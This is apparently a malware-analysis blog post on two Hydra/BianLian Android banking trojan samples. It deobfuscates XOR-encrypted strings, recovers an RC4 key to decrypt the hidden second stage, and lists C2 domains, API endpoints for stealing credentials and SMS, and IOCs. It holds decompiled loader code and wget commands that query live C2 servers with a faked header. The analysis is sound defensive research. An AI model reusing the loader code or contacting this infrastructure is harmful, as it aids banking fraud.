Key points for Hydra / BianLian samples analysis

Introduction

As any development project, malwares follow a continuous improvement process and get updated quite often. For instance the latest features now include some French banks support since May 2022.

In order to get a fresh insight about similar Android banking malware families, two samples have been studied:

  • 106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d (“com.cabin.float” package);
  • 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6 (“com.sponsor.economy” package).

The aim of this blog post is not to publish a full analysis report. It will instead only focus on key points which may help the reader to start the study of another sample. Existing documentation also provide useful starters:

Pure Reverse-engineering

Reconnaissance

The fact that the code may involve basic encryption with XOR operation can be a valid work hypothesis.

The Android application can be decompiled with freely available online tools such as https://www.decompiler.com/ or https://www.javadecompilers.com/. Then the source code can be scanned with usual commands:

$ grep --include "*.java" -nrl '\^' .

./sources/com/cabin/p000float/TJcYuNuLzDdTbCtLzHxFzIdEpMtRlDxBmCiOuFrZxPaYsLzRk.java

./sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java

./sources/com/cabin/p000float/CYtFbPhWuRaQbIyZuJx.java

These files are full of functions such as:

public static String alarmconfirm() {
    int i = 1024;
    for (int i2 = 9; i2 < 41; i2++) {
        i = 1038;
    }
    byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61};
    int i3 = -421;
    int i4 = (-421 - (5066 / i)) + 9510;
    byte[] bArr2 = new byte[12];
    if (i == 500) {
        i = -5499169 - i4;
    }
    byte[] bArr3 = {78};
    for (int i5 = 9; i5 < 10; i5++) {
        i4 = ((i - 60025) - -421) + 32320;
    }
    if (-421 == i4) {
        i3 = ((i4 + 9) + 6) - i;
    }
    if (i <= i4) {
        i = (79116 - (i4 * i3)) - 91782;
    }
    for (int i6 = 6; i6 < 8; i6++) {
    }
    int i7 = 0;
    while (i7 < 12) {
        int i8 = i + 42811;
        int i9 = 31 - i8;
        int i10 = i8 - (i9 * 78);
        bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]);
        int i11 = i10 / 8096345;
        i7++;
        i = i10;
    }
    for (int i12 = 19; i12 < 47; i12++) {
    }
    return new String(bArr2);
}

Defeating string obfuscation

All theses kinds of functions share several common points:

  • no argument is provided by the caller;
  • a lot of dead code can be removed;
  • all the functions run the same code flow.

Some parts of the code are useless. For instance:

int i = 1024;
for (int i2 = 9; i2 < 41; i2++) {
    i = 1038;
}

Can be reduced into:

int i = 1038;

Later, the i4 variable only depends on the i variable, which is constant. So:

int i4 = (-421 - (5066 / i)) + 9510;

Can be reduced into:

int i4 = 9084;

And so on.

The most interesting line is:

bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]);

Which can be reduced with a few iterations:

bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]);

bArr2[i7] = (byte) ((((0 + bArr[i7]) + ((1 / 1) ^ 1)) + 0) ^ bArr3[i7 % 1]);

bArr2[i7] = (byte) ((((0 + bArr[i7]) + 0) + 0) ^ bArr3[i7 % 1]);

bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]);

At the end, the alarmconfirm() function is quite simple:

public static String alarmconfirm() {
    byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61};
    byte[] bArr3 = {78};
    int i7 = 0;
    while (i7 < 12) {
        bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]);
        i7++;
    }
    return new String(bArr2);
}

It is a basic string decryption from bArr into bArr2 with a XOR operation and a hardcoded key stored inbArr3.

A small Python snippet reproduces the Java code behavior:

from itertools import cycle

encrypted = bytes([ 38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61 ])
key = bytes([ 78 ])
decrypted = bytes([ x ^ y for x, y in zip(encrypted, cycle(key))]).decode('utf8')

print(decrypted)
hvchhfhddsds

With the help of Shell commands, all the useful data for generating a global decryptor can be retrieved:

$ egrep -e '    public static String |        byte\[\] bArr = |        byte\[\] bArr3 = ' sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java
    public static String casualsign() {
        byte[] bArr = {102, 91, 76, 67, 79, 75, 65, 109, 82, 86, 102, 71, 90};
        byte[] bArr3 = {34};
    public static String claimenvelope() {
        byte[] bArr = {102, 43, 126, 117, 42, 115, 99, 107, 123, 119, 53, 52, 68, 42, 116, 115, 32, 98, 115, 12, 119, 119, 41};
        byte[] bArr3 = {7, 69, 26};
    public static String crackroom() {
        byte[] bArr = {115, 58, 91, 98, 104, 86, 102, 59, 86, 39, 61, 78};
        byte[] bArr3 = {7, 72, 62};
[...]

The [decryptor.py]() Python script summarizes all the decrypted found strings inside the three Java files:

$ python3 ./decryptor.py 
casualsign(): DynamicOptDex
claimenvelope(): android.app.ContextImpl
crackroom(): tree hash up
dependawake(): mAllApplications
detailenable(): attach
elevatorkite(): mApplication
gingerfade(): mOuterContext
hirefine(): ok replace string bitch
hoversing(): mInitialApplication
immensebetray(): mActivityThread
leisurewet(): FINO.json
natureyouth(): elevation actor tank
obscurebuzz(): mPackageInfo
omitcolumn(): android.app.ActivityThread
peanutugly(): check the main aim
proofspirit(): com.sdktools.android.App
saddleunfair(): story repeats
successpattern(): android.app.LoadedApk
thingmisery(): DynamicLib
alarmconfirm(): hvchhfhddsds
assaulttongue(): vcosdYYDSHDnncx
cannonsample(): open
[...]

Defeating code obfuscation

The whole code needs some refactoring at this step.

For instance, the casualsign() function is called by levelpurity():

static String levelpurity(int[] iArr) {
    return casualsign();
}

The levelpurity() function initializes the GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd class variable:

String GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd = levelpurity(new int[5]);

Which is used in:

public File gorillachuckle(Context context) {
    this.ahEnopymAwwfMkgXFrJRK_744299 = ((this.ZwBeoMdRaUhUGBOmSjDdY_839169 + this.aQkTOJIcQgfWakachlacw_458964) - 99) + 99;
    return context.getDir(this.GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd, 0);
}

With garbage removed, the gorillachuckle() function is translated into:

public File gorillachuckle(Context context) {
    return context.getDir("DynamicOptDex", 0);
}

This last function is called from attachBaseContext():

public void attachBaseContext(Context context) {
[...]
    String crucialamateur = crucialamateur(gorillachuckle(this.UMwCgEcYsCrTeMjRaGbAhZlWhErSiAtLu));
[...]
}

The definition of crucialamateur() is:

public String crucialamateur(File file) {
    if (file.canWrite()) {
        for (int i = 0; i < 12; i++) {
            this.ahEnopymAwwfMkgXFrJRK_744299 = this.aQkTOJIcQgfWakachlacw_458964 + 0 + this.gHsFJZQlqMDObEYiQIQBW_87005 + 105;
        }
    }
    return file.getAbsolutePath();
}

So at the end, a lot of functions can be wiped and the initial call can be reduced into:

public void attachBaseContext(Context context) {
[...]
    String crucialamateur = context.getDir("DynamicOptDex", 0).getAbsolutePath();
[...]
}

The same process has to be applied to each obfuscation site.

The final cleaned Java sources are available on the Risk&Co’s Github.

Decrypting the next stage

By browsing the new code, one can notice that a FINO.json file is involved:

public void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    this.myCtx = context;
    String crucialamateur = this.myCtx.getDir("DynamicOptDex", 0).getAbsolutePath();
    String slowtrade = new File(crucialamateur, "FINO.json");
    boolean croppresent = croppresent(slowtrade);
    if (croppresent) {
        StringBuffer stringBuffer = new StringBuffer();
        if (croppresent) {
            placecharge(slowtrade, crucialamateur, stringBuffer, this.myCtx);
        }
    }
}

This file seems encrypted:

$ file assets/FINO.json

assets/FINO.json: data

This encryption is confirmed by a high level of entropy, as reported by binwalk:

Here is a clean definition of the croppresent() function:

public boolean croppresent(String str) {
    try {
        this.myCtx = Context.class.newInstance();
    } catch (Exception unused) {
    }
    return cYtFbPhWuRaQbIyZuJx.mulelounge(str, this.myCtx, "FINO.json");
}

Inside the CYtFbPhWuRaQbIyZuJx class, the mulelounge() function is only a wrapper:

public boolean mulelounge(String str, Context context, String str2) {
    return underdiffer(str, context, str2);
}
public boolean underdiffer(String str, Context context, String str2) {
    String str3 = str2;
    try {
        Class<File> cls = File.class;
        Constructor<BufferedInputStream> constructor = BufferedInputStream.class.getConstructor(new Class[]{InputStream.class});
        byte[] bArr = new byte[3145728];
        AssetManager weaselshove = AssetManager.class.newInstance();
        Method bannersoldier = bannersoldier(weaselshove);
        bannersoldier.invoke(weaselshove, new Object[]{str3});
        Method generalreview = context.getClass().getMethod("getAssets", (Class<?>[]) null);
        generalreview.setAccessible(true);
        AssetManager assetManager = (AssetManager)generalreview.invoke(context, (Object[]) null);
        Method veteranproblem = veteranproblem(assetManager);
        veteranproblem.setAccessible(true);
        Constructor creekbaby = creekbaby(cls);
        File soccershadow = soccershadow(creekbaby, str);
        BufferedInputStream newInstance = constructor.newInstance(new Object[]{intactconfirm(veteranproblem, assetManager, str3)});
        BufferedOutputStream feelbird = feelbird(soccershadow);
        while (true) {
            int amusedbaby = amusedbaby(newInstance, bArr);
                if (amusedbaby < 0) {
                    break;
                }
                dawninitial(feelbird, bArr, amusedbaby);
        }
        byte[] bArr2 = new byte[diamondpear(soccershadow)];
        prioritycube(soccershadow, bArr2);
        __write_to_file(cropend(bArr2), solidagain(soccershadow));
        bArr2.getClass().getComponentType();
        File fileStreamPath = context.getFileStreamPath(str2);
        fileStreamPath.getClass().getPackage();
        believediesel(fileStreamPath.toString(), soccershadow.getAbsolutePath());
        if (newInstance != null) {
            feelsleep(newInstance);
        }
        if (feelbird == null) {
            return true;
        }
        imagedescribe(feelbird);
        return true;
    } catch (Exception unused) {
        return false;
    }
}

The 3145728-byte length is an arbitrary 3Mb size.

Reading the code further leads to understand that the FINO.json content gets read and processed before being written to another location.

Following the code flow allows to follow the data processing:

public byte[] cropend(byte[] bArr) {
    return enterreal(bArr);
}

public byte[] enterreal(byte[] bArr) {
    byte[] bArr2 = bArr;
    Method generalreview = String.class.getMethod("getClass", (Class<?>[]) null);
    generalreview.setAccessible(true);
    Method generalreview2 = (Class)generalreview.invoke("pcSXre", (Object[]) null).getMethod("getBytes", (Class<?>[]) null);
byte[] bArr3 = (byte[])generalreview2.invoke("pcSXre", (Object[]) null);
    MGjMtKwKeMtUaLzWqSjOzSpUtRz = legalcash(bArr3);
    byte[] bArr4 = new byte[((int) Math.floor((double) bArr2.length))];
    int[] iArr = MGjMtKwKeMtUaLzWqSjOzSpUtRz;
    for (int i3 = 0; ((double) i3) < Math.ceil((double) bArr2.length); i3++) {
        int shallowkick = shallowkick('b', 5222, iArr, i10);
        int shallowkick2 = shallowkick('z', 1544545, iArr, i11);
        int i14 = iArr[(shallowkick + shallowkick2) % 256];
        bArr4[i3] = categoryweb(((Math.round((float) i14) + 1) - 1) ^ bArr2[i3]);
    }
    return bArr4;
}

The raw initial version of the legalcash() function is this one:

private int[] legalcash(byte[] bArr) {
    this.AftKupYbYErcX_817034 = (this.BNUeYTXUwHrNC_550594 - (this.RHEJzXlPpiJEc_905989 / 868117)) + 78513;
    int[] iArr = new int[(StrictMath.max(100, 0) + 100 + 56)];
    this.RHEJzXlPpiJEc_905989 = this.AftKupYbYErcX_817034 + 2084300 + (this.BNUeYTXUwHrNC_550594 * 9612647);
    for (int i = 0; ((double) i) < StrictMath.cbrt(1.6777216E7d); i++) {
        iArr[i] = i;
    }
    int length = bArr.length;
    this.BNUeYTXUwHrNC_550594 = ((this.RHEJzXlPpiJEc_905989 / 542498) - this.AftKupYbYErcX_817034) - 182530;
    int i2 = 0;
    for (int i3 = 0; i3 < 256; i3++) {
        this.RHEJzXlPpiJEc_905989 = (60 / this.BNUeYTXUwHrNC_550594) - (this.AftKupYbYErcX_817034 * 89);
        this.BNUeYTXUwHrNC_550594 = (this.AftKupYbYErcX_817034 - (this.RHEJzXlPpiJEc_905989 * 3343740)) + 1656857;
        i2 = gaslittle(i2 + ((int) StrictMath.floor((double) shallowkick('d', 124545, iArr, i3))) + laptopgap(bArr, i3 % length) + ((int) StrictMath.sqrt(65536.0d)), StrictMath.max(-159000, 256));
        this.AftKupYbYErcX_817034 = (97 - (this.RHEJzXlPpiJEc_905989 / 50)) + this.BNUeYTXUwHrNC_550594;
        alleyrude(i3, i2, iArr);
    }
    this.RHEJzXlPpiJEc_905989 = (95 - this.AftKupYbYErcX_817034) + (this.BNUeYTXUwHrNC_550594 * 36);
    return iArr;
}

Once cleaned, the RC4 Key-scheduling algorithm appears:

private int[] legalcash(byte[] bArr) {
    int[] iArr = new int[256];
    for (int i = 0; 256; i++) {
        iArr[i] = i;
    }
    int length = bArr.length;
    int i2 = 0;
    for (int i3 = 0; i3 < 256; i3++) {
        i2 = i2 + ((int) StrictMath.floor((double) iArr[i3])) + bArr[i3 % length] + 256 % 256;
        __permute(i3, i2, iArr);
    }
    return iArr;
}

The key is provided via the bArr argument by the caller. It can be recovered by reading the code leading to the KSA, and the second stage can be decrypted:

$ python3 unrc4.py resources/assets/FINO.json pcSXre

$ file resources/assets/FINO.json.plain 
resources/assets/FINO.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate

The second stage Dex file from the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6 sample can be extracted using the same method:

$ python3 unrc4.py resources/assets/kQTUiw.json cXXZ

$ file resources/assets/kQTUiw.json.plain 
resources/assets/kQTUiw.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate

Interesting tidbits

Tracking C2

The current C2 server is commonly retrieved with basic commands:

$ wget -qO /dev/stdout https://gist.githubusercontent.com/haluktatar2222/684a2f118b77318c118954abaef9b15d/raw/fb26304c079d08452b50ca78257a65425d69f550/helloworld.json | base64 -d ; echo
{"domains":["http://falakkaufman3.top"]}

As the gist is public, some insights about the domain rotation pace are publicly available:

$ git clone https://gist.github.com/684a2f118b77318c118954abaef9b15d.git

Cloning into '684a2f118b77318c118954abaef9b15d'...

remote: Enumerating objects: 214, done.

remote: Counting objects: 100% (15/15), done.

remote: Compressing objects: 100% (10/10), done.

remote: Total 214 (delta 0), reused 0 (delta 0), pack-reused 199

Receiving objects: 100% (214/214), 20.42 KiB | 5.11 MiB/s, done.

Resolving deltas: 100% (1/1), done.

$ cd 684a2f118b77318c118954abaef9b15d/

$ git lg

* 27cf366 - (HEAD -> main, origin/main, origin/HEAD) (14 hours ago) <haluktatar2222>

* 52b026a - (27 hours ago) <haluktatar2222>

* aaea266 - (2 days ago) <haluktatar2222>

* 36576ef - (2 days ago) <haluktatar2222>

* 7009d3d - (3 days ago) <haluktatar2222>

* df3bdaa - (5 days ago) <haluktatar2222>

* 2908e1f - (9 days ago) <haluktatar2222>

* a8ac0b1 - (9 days ago) <haluktatar2222>

* f1c308e - (11 days ago) <haluktatar2222>

* 42fbd00 - (11 days ago) <haluktatar2222>

* cce96ea - (12 days ago) <haluktatar2222>

* 077c201 - (12 days ago) <haluktatar2222>

* d4cfa91 - (13 days ago) <haluktatar2222>

[...]

The gist is updated quite often: 71 times in three months.

For the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6 sample, the list of active base URLs can be retrieved with a query to one server:

$ wget -q http://hhgfdfttt.xyz/api/mirrors -O /dev/stdout | base64 -d | jq 
{
  "domains": [
    "http://wersdeeeser.top",
    "http://ddknewdd.shop",
    "https://dimkahello.xyz",
    "http://hgjhfyft.xyz",
    "http://qdjwqeh.xyz",
    "http://h6ghhfg.online",
    "http://dfgdfgerger.online",
    "http://hjgyffffylive.xyz",
    "http://hhgfdfttt.xyz",
    "http://ygfytttree.online"
  ]
}

$ head -8 ./sources/com/sdktools/android/AdminPanelUrls.java
package com.sdktools.android;

public enum AdminPanelUrls {
    ADMIN_PANEL_URLS_1("https://babosiki.buzz"),
    ADMIN_PANEL_URLS_2("https://trustpoopin.xyz"),
    ADMIN_PANEL_URLS_3("https://trygotii.xyz"),
    ADMIN_PANEL_URLS_4("https://trytogoi.xyz");

All these domains are down at the time of writing except the last one, which is sinkholed.

Current endpoints

As it is less obfuscated, the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6 sample provides a glimpse of the malware features through its endpoint suffixes:

$ grep -nr makeGet sources/com/sdktools/android/ | grep '"' | sed 's#.*makeGet(\("[^"]*"\).*#\1#' | sort | uniq 
"device/check"
"http://ip-api.com/json"

$ grep -nr makePost sources/com/sdktools/android/ | grep '"' | sed 's#.*makePost(\("[^"]*"\).*#\1#' | sort | uniq 
"device"
"device/cookie"
"device/credentials"
"device/kl"
"device/lock"
"device/notification"
"device/push"
"device/push-state"
"device/read-sms"
"device/save-phone"
"device/save-pin"
"device/screen"
"device/server-log"
"device/sms"
"device/sms-admin"
"device/tw-status"
"device/ussd-run"

The 106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d sample handles most of these endpoints too.

Some HTTP requests require an authorization header in order to be processed. The expected value for this field is an Android ID, which can be faked:

$ wget http://falakkaufman3.top/api/v1/device/check?screen=true --header 'Authorization: XXX' -O /dev/stdout | jq

Special care for special people

One can notice some parts of the execution depend on the current language:

public boolean a() {
    return !("US".equalsIgnoreCase(this.f189b) || "RU".equalsIgnoreCase(this.f189b));
}
if (getResources().getConfiguration().locale.getLanguage().equals("ru")) {
    a();
    return;
}

More over, the C2 panel homepage is titled вход, which means entrance in Russian.

All of these items may be hints to target the threat actor country.

IOC

IP address

79.110.62.198

Files

106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d

576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6